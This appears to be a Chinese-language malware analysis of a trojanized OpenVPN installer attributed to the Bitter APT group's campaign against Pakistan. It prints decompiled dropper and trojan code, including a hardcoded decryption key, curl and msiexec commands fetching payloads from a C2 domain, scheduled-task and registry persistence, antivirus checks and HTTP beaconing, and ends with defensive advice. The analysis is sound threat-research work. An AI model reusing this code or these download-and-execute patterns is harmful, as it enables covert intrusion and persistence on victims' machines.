印“蔓灵花”攻击巴基斯坦活动中使用的TelecomVPN病毒分析
概述
在近期的“蔓灵花”攻击巴基斯坦活动中,攻击者仿冒OpenVPN安装包,制作了一款“TelecomVPN”或“PTAOpenVPN”。
攻击者将恶意软件和OpenVPN安装包打包在一起,当用户执行OpenVPN后会先解密shell.exe和OpenVPN,再分别执行OpenVPN安装例程和shell.exe。
初步分析
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { //。。。 RegisterClassExW((const WNDCLASSEXW *)&v21); ::hInstance = hInstance; v4 = CreateWindowExW(0, ClassName, WindowName, 0xCF0000u, 0x80000000, 0, 0x80000000, 0, 0, 0, hInstance, 0); v5 = v4; if ( v4 ) { //... v13 = CreateFileW(v19, 1u, 1u, 0, 3u, 0x80u, 0); if ( v13 != (HANDLE)-1 ) { SetFilePointer(v13, 35328, 0, 0); v6 = LocalAlloc(0x40u, 0x3000u); ReadFile(v13, v6, 0x3000u, &NumberOfBytesRead, 0); } v15 = CreateFileW(L"C:\\Users\\Public\\Music\\power", 2u, 2u, 0, 2u, 0x80u, 0); if ( v15 != (HANDLE)-1 ) { WriteFile(v15, v6, 0x3000u, &NumberOfBytesWritten, 0); CloseHandle(v15); } sub_4010E0("C:\\Users\\Public\\Music\\power", "C:\\Users\\Public\\Music\\Shell.exe", v14, 0); Sleep(0x1388u); sub_4010E0(Filename, "C:\\Users\\Public\\Music\\msdtm.exe", v16, 47616); Sleep(0x1388u); ShellExecuteW(0, L"RUNAS", L"C:\\Users\\Public\\Music\\msdtm.exe", 0, 0, 1); //... CreateProcessW( L"C:\\Users\\Public\\Music\\Shell.exe", //... ); CloseHandle(ProcessInformation.hProcess); CloseHandle(ProcessInformation.hThread); LocalFree(v6); } return 0; }
主函数可以看到,首先在Music文件夹下创建power文件,然后写入数据。接着对文件本身和power调用了sub_4010e0
向上看可以得到,power文件的内容主要来自于读取文件本身
文件偏移在35328处
而OpenVPN安装程序放在了0xba00偏移处,紧挨着shell.exe
sub_4010e0分析
int __usercall sub_4010E0@(char *FileName@, char *a2@, int a3, int Offset) { //... { if ( Offset ) fseek(Stream, Offset, 0); if ( fopen_s(&v14, a2, "wb") ) { printf("Error opening Ciphertext file!"); } else { if ( !CryptAcquireContextW(&phProv, 0, L"Microsoft Enhanced Cryptographic Provider v1.0", 1u, 0) ) { //... CryptAcquireContextW(&phProv, 0, L"Microsoft Enhanced Cryptographic Provider v1.0", 1u, 8u); } if ( CryptCreateHash(phProv, CALG_MD5, 0, 0, &phHash) ) { if ( CryptHashData(phHash, "Y8*()12T", 8u, 0) ) { if ( CryptDeriveKey(phProv, 0x6801u, phHash, 0x800000u, &phKey) ) { CryptDestroyHash(phHash); phHash = 0; v5 = malloc(0x3E8u); if ( v5 ) { while ( 1 ) { pdwDataLen = fread(v5, 1u, 0x3E8u, Stream); if ( ferror(Stream) ) break; v10 = feof(Stream); if ( !CryptEncrypt(phKey, 0, v10, 0, (BYTE *)v5, &pdwDataLen, 0x3E8u) ) { printf("bytes required:%d", pdwDataLen); v12 = GetLastError(); printf("Error %x during CryptEncrypt!", v12); goto LABEL_26; } fwrite(v5, 1u, pdwDataLen, v14); //... } } //... return v11; }
可以看到,该函数调用了Windows API进行解密。密钥是Y8*()12T
的MD5。
shell.exe分析
开头初始化了Com库
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { if ( CoInitializeEx(0, 6u) >= 0 ) { sub_401000(); CoUninitialize(); } Sleep(0x2710u); return 0; }
sub_401000分析
lpString2[0] = L"pku2u.exe"; lpString2[1] = L"drvinst.exe"; lpString2[2] = L"ndadmin.exe"; lpString2[3] = L"fveapi.exe"; lpString2[4] = L"cdp.exe"; lpString2[5] = L"mfcore.exe"; lpString2[6] = L"rdpsign.exe"; lpString2[7] = L"tspubwmi.exe"; lpString2[8] = L"mfps.exe"; lpString2[9] = L"peerdist"; lpString2[10] = L"lsapip.exe"; lpString2[11] = L"glu32.exe"; lpString2[12] = L"fwbase.exe"; lpString2[13] = L"esentprf.exe"; lpString2[14] = L"dwrite.exe"; lpString2[15] = L"cscmig.exe"; lpString2[16] = L"authext.exe"; lpString2[17] = L"browcli.exe"; lpString2[18] = L"imagehlp.exe"; lpString2[19] = L"mfaudiocnv.exe"; ExpandEnvironmentStringsW(L"%computername%", Dst, 0x64u); if ( PathFileExistsW(L"C:\\Users\\Public\\Music\\p2p") ) { for ( i = 0; i < 20; ++i ) { lstrcpyW(String1, L"C:\\Users\\Public\\Music\\"); lstrcatW(String1, lpString2[i]); if ( !PathFileExistsW(String1) ) break; if ( DeleteFileW(String1) ) { Sleep(0x1388u); break; } } lstrcatW(psz, String1); lstrcatW(psz, L" -O https://mswsceventlog.net/ot.php/?ot="); lstrcatW(psz, Dst); v5 = SysAllocString; ppv = SysAllocString(L"curl"); v6 = SysAllocString(psz); *((_DWORD *)ppvOut + 2) = v6; RemoveDirectoryW(L"C:\\Users\\Public\\Music\\p2p"); } else { ppv = SysAllocString(L"msiexec"); lstrcpyW(v28, L"/i http://mswsceventlog.net/"); lstrcatW(v28, Dst); lstrcatW(v28, L".msi /q"); v5 = SysAllocString; v3->lVal = (LONG)SysAllocString(v28); CreateDirectoryW(L"C:\\Users\\Public\\Music\\p2p", 0); }
如果老版本木马存在,就删除那个文件并下载新木马后再删除Music下的p2p文件夹;否则下载新木马并创建p2p文件夹,还会使用msiexec执行新木马。值得注意的是,如果p2p目录不存在,会根据计算机名称下载木马,说明这是一次指定目标的攻击。
v9 = v5(L"/create /sc MINUTE /mo 15 /TN Chsme /TR C:\\Users\\Public\\Music\\Shell.exe"); *((_DWORD *)ppvOut + 2) = v9; ppv = v5(L"C:\\Windows\\System32\\schtasks.exe"); if ( !PathFileExistsW(L"C:\\Windows\\SysNative\\Tasks\\Chsme") ) v1 = ((int (__stdcall *)(IUnknown *, LPVOID, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))punk->lpVtbl[10].AddRef)( //... Sleep(0x2BF20u); ppvOut = v5(String1); // start new
为自己创建计划任务,并且判断Tasks下Chsme是否存在。如果不存在就执行一个新任务。根据上面交叉引用和for循环内容,此处String1是那些字符串中第一个不存在的文件完整路径。
这里可能下载诸多木马,挑选其中一个pku2u.exe分析
pku2u.exe分析
主函数中大量使用了sub_4025b0
signed int __usercall sub_4025B0@(const char *a1@, const char *a2) { //... v2 = strlen(a1); v3 = strlen(a2); result = 0; for ( i = 0; result < v2; ++i ) { if ( i == v3 ) i = 0; a1[result++] ^= a2[i]; } return result; }
可以发现这个函数主要用于解密字符串
主函数中首先拼接了一系列字符串,这些字符串包括域名等信息
sub_4025B0(pNodeName, "45"); // 解密得到 meeting.mswsceventlog.net GetModuleFileNameA(0, Str, 0x21Cu); sub_4025B0(SubStr, "34"); // update sub_4025B0(ValueName, "34"); // updates sub_4019E0(); sub_4025B0(byte_405780, aLlll); *(_DWORD *)&byte_406A80[strlen(byte_406A80)] = 'goL'; sub_4025B0(aTdAVji, "728"); // CVEWsDaxqi.php?logs= strcat(byte_406A80, "s/"); *(_DWORD *)&byte_406A80[strlen(byte_406A80)] = 'pwX'; strcat(byte_406A80, "ll"); strcat(byte_406A80, aTdAVji);
遍历注册表中的MsMp和avp字符串
if ( sub_401810("MsMp") ) { byte_4062EA = 1; byte_4062E9 = 1; goto LABEL_23; } *(_WORD *)&aAv[strlen("av")] = 'p'; if ( sub_401810("av") ) { byte_4062E9 = 1; LABEL_23: strcpy(pszPath, "`{sgctaqi~]VA[F\\RAoc\\]PZDGipAGAQ[GbPAG\\\\ZiaA["); phkResult = 0; memset(&pszPath[46], 0, 0xCCu); sub_4025B0(pszPath, "345"); if ( RegQueryValueExA(0, ValueName, 0, 0, 0, 0) && !RegOpenKeyExA(HKEY_CURRENT_USER, pszPath, 0, 0xF003Fu, &phkResult) && byte_4062EA ) { RegSetValueExA(phkResult, ValueName, 0, 1u, (const BYTE *)NewFileName, strlen(NewFileName)); *((_BYTE *)&dword_406730 + strlen((const char *)&dword_406730)) = 82; } RegCloseKey(phkResult); goto LABEL_28; }
如果有的话则会注册开机自动启动
最后还调用了这个函数
int sub_4026B0() { //... v6[12] = v6; std::string::string(v6, "KIX$3lswxizirx2tltCmhA"); // 解密得到 GET /hostevent.php?id= sub_402600(v7, v6[0], v6[1], v6[2], v6[3], v6[4], v6[5]); v12 = 0; std::string::operator+=(v7, Buffer); std::string::operator+=(v7, " HTTP/1.1\rHost:"); std::string::operator+=(v7, pNodeName); // 解密得到 meeting.mswsceventlog.net std::string::operator+=(v7, "\rConnection: close\r\r"); *(_DWORD *)&name.sa_data[2] = inet_addr(cp); *(_WORD *)name.sa_data = htons(0x50u); name.sa_family = 2; v0 = socket(2, 1, 6); if ( !connect(v0, &name, 16) ) { v1 = buf[0]; if ( buf[5] < (char *)0x10 ) v1 = (const char *)buf; send(v0, v1, (int)buf[4], 0); v2 = 0; *(_WORD *)v10 = 0; memset(v11, 0, sizeof(v11)); v3 = recv(v0, v10, 4096, 0); v4 = v3 < 0; if ( !v3 ) { LABEL_7: closesocket(v0); v12 = -1; return std::string::~string(v7); } while ( !v4 ) { v2 += v3; v3 = recv(v0, &v10[v2], 4096, 0); v4 = v3 < 0; if ( !v3 ) goto LABEL_7; } *(_WORD *)v10 = 0; } closesocket(v0); v12 = -1; std::string::~string(v7); return 0; }
即定期通信
之后调用了这个函数
void sub_4022E0() { char v0[8190]; // [esp+Ah] [ebp-200Ah] BYREF Sleep(0x3E8u); byte_4062EB = 0; memset(&byte_4090A0, 0, 0x2000u); if ( dword_40650C >= 5 ) { sub_401E00(&dword_406730); sub_4023C0(); if ( byte_4062EB ) { memset(v0, 0, sizeof(v0)); sub_401E00(&byte_406CA0); } } else { sub_401E00(&dword_406510); ++dword_40650C; } Sleep(0x3A98u); }
即通信次数大于5才会执行指定动作
char sub_4023C0() { //... v0 = strstr(&byte_4090A0, &byte_406CA0); if ( v0 ) { v1 = byte_4090A0; for ( i = 0; v1; v1 = byte_4090A1[i++] ) { if ( v1 == 34 ) break; } v3 = byte_4090A1[i]; v4 = 0; if ( v3 ) { v5 = &byte_4090A1[i]; do { if ( v3 == 34 ) break; ++v5; byte_406DA0[v4] = v3; v3 = *v5; ++v4; } while ( *v5 ); } byte_406DA0[v4] = 0; LOBYTE(v0) = sub_401810(byte_406DA0); if ( (_BYTE)v0 ) { memset(Destination, 0, strlen(Destination)); *(_DWORD *)Destination = &unk_474E52; strcat_s(Destination, 0xFAu, aLlll); strcat_s(Destination, 0xFAu, byte_406DA0); LOBYTE(v0) = strcat_s(Destination, 0xFAu, aLlll); byte_4062EB = 1; } else if ( v4 ) { v8[0] = 'icww'; v8[1] = 'eGGJ'; v8[2] = 1917009; memset(&v8[3], 0, 0xEEu); sub_4025B0((const char *)v8, "124"); sub_401E00((int)byte_406DA0, (int)v8, (char *)&dword_40B0A0, (int)&unk_40420F); memset(v8, 0, 0xFAu); v6 = 0; while ( *(int *)((char *)&dword_40B0A0 + v6) != *(_DWORD *)aLlll ) { if ( *(int *)((char *)&dword_40B0A0 + v6 + 1) == *(_DWORD *)aLlll ) { ++v6; break; } if ( *(int *)((char *)&dword_40B0A0 + v6 + 2) == *(_DWORD *)aLlll ) { v6 += 2; break; } if ( *(int *)((char *)&dword_40B0A0 + v6 + 3) == *(_DWORD *)aLlll ) { v6 += 3; break; } v6 += 4; if ( v6 > 4095 ) break; } LOBYTE(v0) = sub_401FB0(v6 + 4); } } return (char)v0; }
通过llll
判断是否有指定载荷,如果有就创建新文件夹并执行后续病毒。
防范建议
- 从官方渠道下载软件
- 及时安装、更新杀软
清除建议
- 删除对应定时任务
- 清理注册表
- 删除对应路径下的病毒文件
- 重启系统
参考资料
- 相煎何急,印APT组织蔓灵花针对巴基斯坦政府机构展开定向攻击
- ReadFile--microsoft docs
- CryptHashData--microsoft docs
- CoInitializeEx--microsoft docs
